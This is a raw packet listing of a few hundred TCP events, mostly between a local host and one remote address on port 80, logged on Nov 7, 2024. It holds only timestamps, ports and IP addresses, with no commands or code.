Nov 7, 2024 06:01:17.844928980 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844958067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844965935 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.844985962 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845026016 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845037937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845063925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845067978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845081091 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845092058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845093966 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845119953 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845144033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845772028 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845784903 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845796108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845813036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845813990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845825911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845829010 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845838070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845860004 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845881939 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845957041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845974922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845988035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.845993042 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.845999002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846010923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846014977 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846028090 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846035004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846052885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846067905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846081018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846085072 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846092939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846105099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846116066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846138000 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846199989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846211910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846224070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846241951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846254110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846263885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846268892 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846276999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846287012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846296072 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846328020 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846355915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846390963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846436977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846448898 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846460104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846471071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846481085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846486092 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846493006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846502066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846508026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846518040 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846524000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846544027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846560001 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846577883 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846708059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846726894 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846739054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846755028 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846755981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846771955 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846788883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846797943 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846801043 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846827030 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846837997 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846909046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846926928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846937895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846950054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846956968 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846961975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.846982956 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.846995115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847002983 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847007036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847064018 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847074986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847089052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847106934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847105980 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847121000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847126961 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847143888 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847168922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847193956 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847206116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847218037 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847229004 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847240925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847261906 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847266912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847279072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847290039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847311020 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847332001 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847337961 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847357035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847368956 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847387075 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847414017 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847436905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847455978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847475052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847492933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847501040 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847505093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847512007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847517967 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847529888 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847531080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847543955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847549915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847556114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847563028 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847579002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847594023 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847596884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847609997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847613096 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847620010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.847644091 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.847656012 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847677946 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.847875118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848021030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848031998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848045111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848062992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848063946 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848077059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848088980 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848092079 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848099947 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848102093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848124027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848125935 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848136902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848149061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848159075 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848161936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848175049 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848181963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848189116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848200083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848211050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848225117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848253012 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848268986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848279953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848290920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848303080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848315001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848316908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848330021 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848357916 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848370075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848383904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848393917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848404884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848416090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848424911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848450899 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848476887 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.848941088 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.848978996 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849033117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849046946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849057913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849070072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849081993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849081993 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849096060 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849102020 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849111080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849117041 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849124908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849136114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849143028 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849148989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849162102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849172115 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849183083 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849210978 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849291086 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849308968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849327087 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849339008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849349976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849351883 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849361897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849368095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849375010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849390984 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849397898 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849416018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849419117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849428892 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849440098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849440098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849462032 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849462032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849476099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849484921 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849488020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849500895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849513054 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849514008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849525928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849535942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849545002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849554062 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849558115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849570036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849580050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849582911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849601984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849608898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849615097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849617004 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849626064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849638939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849649906 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849658966 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849661112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849675894 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849680901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849693060 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849698067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849704981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849709988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849719048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849733114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849736929 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849756002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849767923 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849773884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849793911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849796057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849806070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849824905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849826097 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849828005 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849839926 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849848986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849860907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849864960 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849879980 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849891901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849900007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849903107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849910021 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849915981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849925041 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849930048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849939108 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849948883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849956989 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849961996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849973917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849978924 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.849987984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.849988937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850001097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850004911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850014925 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850028038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850035906 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850039959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850050926 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850054026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850066900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850081921 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850083113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850096941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850106001 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850107908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850116968 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850121021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850138903 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850145102 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850153923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850166082 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850166082 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850178003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850192070 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850198030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850210905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850218058 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850223064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850228071 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850235939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850249052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850260019 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850282907 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850298882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850311041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850328922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850356102 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850370884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850382090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850399017 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850409985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850414038 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850421906 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850435019 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850440025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850446939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850464106 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850476980 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850486994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.850486994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850507975 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.850534916 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.890775919 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.959656000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959683895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959702015 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959713936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959726095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959738016 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959749937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959759951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959779024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959798098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.959805965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959819078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.959830046 CET	49834	80	192.168.2.4	185.215.113.16
